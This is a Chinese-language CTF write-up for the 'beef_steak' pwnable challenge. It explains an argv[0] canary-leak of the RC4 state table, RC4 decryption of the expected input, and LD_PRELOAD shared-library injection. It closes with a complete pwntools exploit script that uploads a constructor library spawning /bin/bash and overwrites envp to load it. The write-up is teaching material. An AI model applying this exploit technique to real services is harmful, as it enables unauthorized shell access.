基本信息

Category: Pwnable Points: 400 Solves: TODO Description:

  • 有一个栈溢出,非常短的二进制文件

开了Stack Canary和NX

如何解决

主要是三个点

  1. argv[0] leak
  2. RC4
  3. Shared Library Injection

初始检查

直接运行会产生SIGSEGV,似乎缺少能够让它正常运行的东西

用strace确认

添加env -i以防万一和清除环境变量

可以看出需要一个steak用户目录以及flag文件

创建对应用户及文件

1
2
3
sudo adduser steak
su steak
echo THIS_IS_A_FLAG > /home/steak/flag

之后测试运行,大概就是接收stdin,sleep,结束,这样的流程

vmmap

  • 低位是.text .data .bss等区域,这部分地址是固定的
  • 高位是library,mapped,vdso,stack之类,程序正常运行必要的东西。如果开启了ASLR,这部分地址会受到影响。gdb运行下ASLR会暂时失效。

beef_steak解析

静态分析

整个流程大概就是,从flag文件读取内容作为key,对stdin内容进行RC4加密,之后与特定内容进行比较,相等则执行system("/bin/cat > ./message");,不相等puts("I don't like that!");

RC4的key是flag

  • key最大可能有40字节,理论上无法破解
  • 因为我们不知道key,所以无法通过特定字符串的比较
    • 也就无法调用system

存在栈溢出

  • 缓冲区是40字节
  • 读取了512字节
  • 但是存在canary

这个问题符合argv[0] leak情况

  1. Stack Canary
  2. 没有PIE
  3. canary保护的函数有足够的溢出空间
  4. 可以读取glibc显示的错误信息

那应该泄漏哪些东西呢?

  • 如果能够泄漏RC4相关内容就太棒了
    • 如果成功,就能够调用system()
  • 那么RC4相关内容在哪里

key(=flag)和表S,存在于.bss区域中

  • 但是,key最初被KSA使用后立即清零。也就谁说,只有表S可以泄漏
  • 表S的地址是0x602160

泄漏RC4内部表

使用argv[0] leak泄漏0x602160的内容

  • 尝试计算出准确距离,精确泄漏
  • 在返回之前设置断点,查看状态
  • 这里设置在0x400CC8,返回之前必定会执行这里

正常运行,确认stack状态:

可以计算出输入与argv[0]之间距离为280字节

使用280个”\0” + 0x602160比较好

  • 使用”\0”而不是”A”,因为RC4_PRGA()中使用了strlen(),这样导致返回0,输入的数据不会经过RC4加密
  • 因为没有进入循环,没有任何字节被修改,S也不会变化

注意小端序问题,测试运行:

实际上,这些就是泄漏出来的表S内容

exploit

argv[0] leak

因为RC4状态表会出现一次\x00导致后面内容不显示,所以需要进行一点处理

这样我们可以获取到本地测试环境的RC4状态表

RC4解密

我们已经获得了状态表S,通过S生成伪随机数序列,与密文异或就能够获得明文

这样我们使用获取的明文作为输入,运行程序,就能够执行system()

getshell

这样我们相当于已经可以写入任意内容到文件了,应该也就能够进行Shared Library Injection

可以按这个流程操作:

  1. 第一次将mylib.so作为message上传
  2. 第二次伪造LD_PRELOAD=./message环境变量

到envp的距离

也就是说,我们如果想修改envp[0],只需要填充296字节

那么字符串LD_PRELOAD=./message应该放在哪呢

因为RC4的输入是栈上的buffer,输出是全局变量output,全局变量的地址固定,可以使用这个

需要注意最初25个字节是strcmp进行比较来判断是否执行system

整个攻击流程大概是这样:

exploit

参考

https://m.blog.naver.com/PostView.nhn?blogId=mathboy7&logNo=220642760094&proxyReferer=https%3A%2F%2Fwww.google.com%2F

只搜到这一篇writeup,结合以上内容直接看代码吧:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from pwn import *

def rc4_dec(_data):
data = map(ord, _data)
state = gstate[::]
buf = []
var1 = 0
var2 = 0
for i in range(0, len(data)):
var2 += 1
var2 %= 256
var1 += state[var2]
var1 %= 256
tmp = state[var1]
state[var1] = state[var2]
state[var2] = tmp
d = data[i] ^ state[(state[var1] + state[var2]) % 256]
buf.append(d)

return ''.join(map(chr, buf))

r = remote("localhost", 8888)

_state = "86041335c74693fcc63ba41192558dfd81eb63d45a17512e8c3ebf6fd162df4030a13fa38b5e140582859737c36d5321fec4cf1aba26873161cae9589a8341c172020164f41b60e20369b68a1eaa4eefe5f8da996c43a54d5da6ac908f3c91f638abfbcdbde05f2a70237d7c591dfacb0680d22d3a49209eb78466334c2750967adbb1a79429f1e6d0579fd90a489c9507540bafe7e4d839a94ff3e1b82f74109df073777e71097925b5281f89ea520c98add7c516f5180f19b388321c4b08f95cd3b00e5bb967342cde6e00eecec0dca845a03dff7675f215edecccc87f4744b465689bf7e856b2dde32bc936d64a122442d5bb0d78bc6b6abe7baea2c28e22".decode("hex")

gstate = map(ord, _state)
enc = "\x62\x31\xaa\x85\xbd\xbf\x9f\xf3\x8a\x02\x0c\x75\xac\x23\xab\xe4\x82\xc5\x25\x7a\xef\xbd\xc9\x61"

print r.recv(1024)
r.send(rc4_dec(enc) + "\n") # b33fb33feasytodigestb33f
print r.recvuntil("You may leave a message")

lib = """
#include <unistd.h>
__attribute__((constructor)) void init() {
char *f[] = {"/bin/bash", NULL};
execve("/bin/bash", f, NULL);
}
"""
open("lib.c", "w").write(lib)
os.system("gcc -shared -fPIC -o lib.so lib.c")

r.send(open("lib.so").read())
r.close()

r = remote("localhost", 8888)
print r.recv(1024)

payload = rc4_dec(enc + "\x00" * 8 + "LD_PRELOAD=./message\x00")
# there is no NULL Byte in payload, but there is in encrypted payload
payload += "\x00" * (0x128 - (len(payload)))
payload += p64(0x602140)
payload += "\x00" * (512 - len(payload))

r.send(payload)
sleep(4.1)
r.interactive()